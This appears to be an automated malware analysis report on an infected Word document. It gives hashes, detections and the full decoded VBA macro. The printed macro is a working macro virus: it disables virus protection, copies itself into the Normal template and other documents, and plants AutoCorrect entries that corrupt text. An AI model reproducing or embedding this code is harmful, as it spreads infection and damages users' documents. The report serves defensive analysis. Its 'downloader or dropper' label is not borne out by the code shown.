Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9856995678ee5cf…

MALICIOUS

Office (OLE)

28.5 KB Created: 2001-05-16 04:52:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0bb0d8efa4390ebc5674595339fd2464 SHA-1: f5e37e481d614157b9f0ffd8b7d1f35089ef8bb0 SHA-256: b9856995678ee5cf60f1226cf5c4137fcc84928de45e8fc6d979c672bae979dc
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Office document containing VBA macros, specifically triggering a Document_Open macro. The ClamAV detection 'Doc.Trojan.NewHope-5' strongly indicates malicious intent. The VBA code appears to manipulate macros and potentially hide malicious content, consistent with a downloader or dropper.

Heuristics 3

  • ClamAV: Doc.Trojan.NewHope-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NewHope-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2030 bytes
SHA-256: 101ec990ff533422cec34426480ad3cacc791b01fc38aee43e8c41d694b85dcb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Rem
Rem ProgramName "┳박넋?.㎷길й픆"
Call Document_Open
End Sub
Private Sub Document_New()
Call Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
NormInstalled = False
ActInstalled = False
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then NormInstalled = True
If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then ActInstalled = True
If NormInstalled = True And ActInstalled = True Then GoTo Killer
If NormInstalled = False Then
    Set Inf = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set Noc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Else
    Set Inf = ActiveDocument.VBProject.VBComponents(1).CodeModule
    Set Noc = NormalTemplate.VBProject.VBComponents(1).CodeModule
End If
With Noc
    Code = .Lines(1, .CountOfLines)
End With
With Inf
    .DeleteLines 1, .CountOfLines
    .InsertLines 1, Code
End With
Application.DisplayAlerts = wdAlertsAll
''WordBasic.Kill "c:\Program Files\Trend Pc-cillin 98\*.*"
Exit Sub
Killer:
 If Month(Date) = Int(Rnd * 12 + 1) Then
 ActiveWindow.Caption = "┳박넋?.㎷길й픆"
  Set ULTRAS = ActiveDocument.Range(Start:=0, End:=0)
    With ULTRAS
        .InsertBefore "┳박넋?.㎷길й픆" + Chr(13)
        .Font.Size = 42
        .Font.Name = "꾄ⁿ톱"
        .Font.ColorIndex = wdGreen
        .Font.Shadow = 1
        .Font.Animation = wdAnimationLasVegasLights
    End With
 AutoCorrect.Entries.Add Name:=".", Value:="톝쪃?.톝곌췢.톝㎷길"
 AutoCorrect.Entries.Add Name:=",", Value:="┳박넋?.㎷길й픆"
 End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.